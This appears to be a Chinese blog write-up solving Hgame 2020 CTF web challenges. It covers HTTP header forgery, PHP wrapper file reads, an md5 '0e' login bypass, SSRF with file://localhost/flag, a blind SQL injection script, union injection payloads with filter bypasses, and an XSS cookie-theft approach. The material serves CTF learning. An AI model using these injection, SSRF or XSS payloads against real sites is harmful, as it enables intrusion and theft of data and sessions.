Hgame-2020——WEB


武汉加油 祖国加油

在家这段时间本来是要做ELK的,队里说hgame开始了,就做了几道hgame的web,题目很有意思,在此记录一下


WEEK-1

0x01 Cosmos 的博客

image.png-45.7kB

访问站点,告诉我们站点使用了GitHub,猜测存在git泄露,查看config页面

image.png-41kB

访问该github地址,查看历史的commits

image.png-55kB

发现加密的字符串,使用base64解密,即可获得flag

image.png-24.6kB

0x02 街头霸王

访问页面

image.png-343.1kB

看题目应该是修改请求头的问题,首先修改一下Referer头

image.png-4.7kB

再次提示我们需要来自本地,这里可以使用XFF头进行伪造

image.png-13.8kB

再次提示我们需要使用指定的浏览器..修改一下UA头

image.png-4.7kB

提示需要使用POST传参,使用hackbar修改一下传参方式

image.png-9.3kB

提示我们需要到2077年才能显示flag,伪造一下时间使用If-Unmodified-Since伪造

image.png-63.3kB

0x03 Code World

访问页面

image.png-39.4kB

发现直接跳转页面,查看源码提示我们是302跳转,尝试修改一下传参方式再次访问

image.png-52.8kB

提示我们需要通过url传参,就是让我们get传参了,而且需要两个数相加和为十

image.png-21.4kB

直接传输提示再想想,猜测应该是url编码的问题,我们使用url编码一下再次传输

image.png-31.3kB

成功获取flag

0x04 🐔尼泰玫

访问页面,是一个很有意思的小游戏

image.png-378.8kB

看下面的提示告诉我们,只要分数够高,flag随便拿,尝试玩一下,瞬间GG,同时给我们提示30000分以上可以获得flag

image.png-8.9kB

抓个包看看判断规则

image.png-40.4kB

看到score参数,修改一下值

image.png-52.4kB

成功获取到flag


WEEK-2

0x01 Cosmos的博客后台

题目提示我们博客没有用到数据库,应该是把密码和账号写在代码中了,访问页面,探测漏洞点

image.png-44.6kB

测试一下是否存在php伪协议漏洞

image.png-61.5kB

成功读取出login.php的代码

<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}
else {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
            $_SESSION['username'] = $_POST['username'];
            header("Location: admin.php");
            exit();
        }
        else {
            echo "用户名或密码错误";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <title>Cosmos的博客后台</title>
    <link href="static/signin.css" rel="stylesheet">
    <link href="static/sticky-footer.css" rel="stylesheet">
    <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>

<body>

<div class="container">
    <form class="form-signin" method="post" action="login.php">
        <h2 class="form-signin-heading">后台登陆</h2>
        <input type="text" name="username" class="form-control" placeholder="用户名" required autofocus>
        <input type="password" name="password" class="form-control" placeholder="密码" required>
        <input class="btn btn-lg btn-primary btn-block" type="submit" value="Submit">
    </form>
</div>
<footer class="footer">
    <center>
    <div class="container">
        <p class="text-muted">Created by Annevi</p>
      </div>
      </center>
</footer>
</body>
</html>

根据读出的login源码,我们发现还有config.php和admin.php,再次读取一下config.php的源码,提示我们无法读取,读取一下admin.php源码

<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

function insert_img() {
    if (isset($_POST['img_url'])) {
        $img_url = @$_POST['img_url'];
        $url_array = parse_url($img_url);
        if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
            return false;
        }   
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $img_url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($c);
        curl_close($c);
        $avatar = base64_encode($res);

        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
            return $avatar;
        }
    }
    else {
        return base64_encode(file_get_contents("static/logo.png"));
    }
}
?>

<html>
    <head>
        <title>Cosmos'Blog - 后台管理</title>
    </head>
    <body>
        <a href="logout.php">退出登陆</a>
        <div style="text-align: center;">
            <h1>Welcome <?php echo $_SESSION['username'];?> </h1>
        </div>
        <form action="" method="post">
            <fieldset style="width: 30%;height: 20%;float:left">
                <legend>插入图片</legend>
                <p><label>图片url: <input type="text" name="img_url" placeholder=""></label></p>
                <p><button type="submit" name="submit">插入</button></p>
            </fieldset>
        </form>
        <fieldset style="width: 30%;height: 20%;float:left">
                <legend>评论管理</legend>
                <h2>待开发..</h2>
        </fieldset>
        <fieldset style="width: 30%;height: 20%;">
                <legend>文章列表</legend>
                <h2>待开发..</h2>
        </fieldset>
        <fieldset style="height: 50%">
            <div style="text-align: center;">
                <img height='200' width='500' src='data:image/jpeg;base64,<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'>
            </div>
        </fieldset>
    </body>
</html>

经过尝试,config etc flag这些都被过滤,无法读取,先对获取到的源码进行分析;
首先分析一下login.php,我们可以看到用户名和密码都是固定的,我们可以使用debug参数来获取我们需要的值,获取用户名和密码:

image.png-37kB

image.png-39.7kB

username=Cosmos!
md5(password)=0e114902927253523756713132279690

可以看到密码是0e开头的,我们可以使用md5碰撞的方式获取密码,登陆的用户名和密码为:

username=Cosmos!
password=s878926199a

进入后台,我们可以上传图片的url

image.png-193.9kB

跟一下代码,对我们上传的url进行了匹配,只允许上传指定域名的url,使用的函数为curl_exec(),我们可以使用file://协议去构造CSRF漏洞,直接读取flag

payload:file://localhost/flag

image.png-99.5kB

解密base64即可获取到flag

image.png-9.8kB

Cosmos的新语言

进入页面,很明显的sql注入,fuzz一下注入点

image.png-32.6kB

发现select和空格被过滤了,两种方法解决,可以使用盲注的方式进行,脚本:

import requests
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((database()),{},1)) = {}) and '1'='1"
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)) = {}) and '1'='1"
#url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name=0x66316167676767676767676767676767)),{},1)) = {}) and '1'='1"
url="http://139.199.182.61/index.php?id=0' or (ascii(mid((seselectlect(fl4444444g)from(f1aggggggggggggg)),{},1)) = {}) and '1'='1"
for i in range(1,40):
    for j in range(28,128):
        re=requests.get(url.format(i,j))

        if 'cosmos' in re.text:
            print(chr(j))
#hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}         

也可以使用/**/代替空格,select我们可以直接双写进行绕过,查询数据库

'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fdatabase()%3B%23

image.png-51.9kB

查询数据库中表名

'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fgroup_concat(table_name)%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%23

image.png-77.5kB

查询数据表中字段名

'%2F**%2Funion%2F**%2Fselselectect%2F**%2Fgroup_concat(column_name)%2F**%2Ffrom%2F**%2Finformation_schema.columns%2F**%2Fwhere%2F**%2Ftable_schema%3D'easysql'%23

image.png-81.1kB

查询表中数据

'%2F**%2Funion%2F**%2Fselselectect%2F**%2Ffl4444444g%2F**%2Ffrom%2F**%2Ff1aggggggggggggg%23

image.png-67.2kB

成功获取到题目flag

Cosmos的新语言

本题是复现,当初做的时候没有明白考点,后来是看的官方wp做的

题目直接给了源码:

<?php
highlight_file(__FILE__);
$code = file_get_contents('mycode');
eval($code);

访问一下mycode

function encrypt($str){
    $result = '';
    for($i = 0; $i < strlen($str); $i++){
        $result .= chr(ord($str[$i]) + 1);
    }
    return $result;
}

echo(strrev(strrev(base64_encode(encrypt(base64_encode(str_rot13(base64_encode(base64_encode(base64_encode(base64_encode($_SERVER['token'])))))))))));

if(@$_POST['token'] === $_SERVER['token']){
    echo($_SERVER['flag']);
}

主要看判断条件,当我们的token与server端的token相同时,我们就会得到flag

而且题目会把服务端的token进行一段加密后输出出来,而且服务端的token在几秒中便会刷新一次(官方说是5秒),分析完毕,开始解题,大致思路就是,首先我们需要获取到加密的token,解密后直接发送到服务端,这里贴上官方脚本

<?php
function decrypt($str){
 $result = '';
 for($i = 0; $i < strlen($str); $i++){
 $result .= chr(ord($str[$i]) - 1);
 }
 return $result;
}
$url = 'http://challenge.url.here/';
// 这边直接暴⼒分割截取了 XD
$token = file_get_contents($url);
$token = explode("\n", $token);
$token = substr($token[4], 0, -4);
$token = html_entity_decode($token);
$op_function = file_get_contents($url . '/mycode');
$op_function = explode("\n", $op_function)[8];
$op_function = explode('(', $op_function);
$op_function = array_slice($op_function, 1, 10);
foreach($op_function as $value){
 switch($value){
 case 'base64_encode':
 $token = base64_decode($token);
 break;
 case 'strrev':
 $token = strrev($token);
 break;
 case 'str_rot13':
 $token = str_rot13($token);
 break;
 case 'encrypt':
 $token = decrypt($token);
 break;
 }
}
$options['http'] = array(
 'method' => 'POST',
 'header' => 'Content-Type: application/x-www-form-urlencoded',
 'content' => http_build_query(array('token' => $token))
);
$result = file_get_contents($url, false, stream_context_create($options));
echo($result);

在本地php环境运行即可获取到flag

image.png-52.6kB

这里也可以使用python脚本

import requests
import base64,re

url = 'http://80067ab0bd.php.hgame.n3ko.co'
token = 'oHCahuL0LUeXH7pR0PdaBb6POrNk0wVv'

#rot 13的解密
def rot13(message):
    res = ''
    for item in message:
        if (item >= 'A' and item <= 'M') or (item >= 'a' and item <= 'm'):
            res += chr(ord(item) + 13)
        elif (item >= 'N' and item <= 'Z') or (item >= 'n' and item <= 'z'):
            res += chr(ord(item) - 13)
        else:
            res += item
    return res

#解密encrypt

def encrypt(token):
    str = ''
    for t in token:
        t = chr(ord(t) - 1)
        str  +=t
    return str
#base64的组块base.decode


#截取获取出来的密码

response=requests.get(url)
code= re.findall(r"(.+?)<br>", response.text[625:])[0]
print(code)


response_mycode =requests.get(url+'/mycode')
method = re.findall(r"(.*?);",response_mycode.text[164:])[0]    #这里可以得到截取的字符串
print(method)
method2 = method.split('(')[:-1]
print(method2)

for i in method2:
    if i == 'str_rot13':
        print('rot13:')
        code=rot13(code)
        print(code)
    elif i == 'base64_encode':
        print('b64:')
        code=base64.b64decode(code)
        code=bytes.decode(code)
        print(code)
    elif i == 'encrypt':
        print('encrypt:')
        code=encrypt(code)
        print(code)
    elif i == 'strrev':
        print('strrev:')
        code=code[::-1]
        print(code)

token={'token':code}
r=requests.post(url,data=token)
print(r.text)

Cosmos的聊天室

image.png-61.3kB

访问页面,访问一下flag的页面,提示我们只有admin用户才能获得flag,我们能利用的地方就是输入对话了,梳理一下流程,尝试xss,获取admin用户的cookie,从而达到伪造管理员用户的目的

因为后端过滤了所有的标签,这点可以利用浏览器兼容性进行绕过,不闭合最后的标签,加注释即可,由于后端对我们输入的所有语言都转大写,我们可以使用HTML实体化编码绕过最后的payload:

<img src=x onerror=s=cr&#....... //

编码中包含自己的xss平台地址即可

最后提交的code,万年老脚本:

import hashlib

for i in range(1, 100000001):
    #s = hashlib.md5(str(i)).hexdigest()[0:8]
    #s = hashlib.md5(str(i)).hexdigest()[:6]
    s = hashlib.md5(str(i)).hexdigest()[0:6]
    if s == "af6b97":
        print(i)
        break

然后在平台等待获取cookie即可


发表评论

电子邮件地址不会被公开。 必填项已用*标注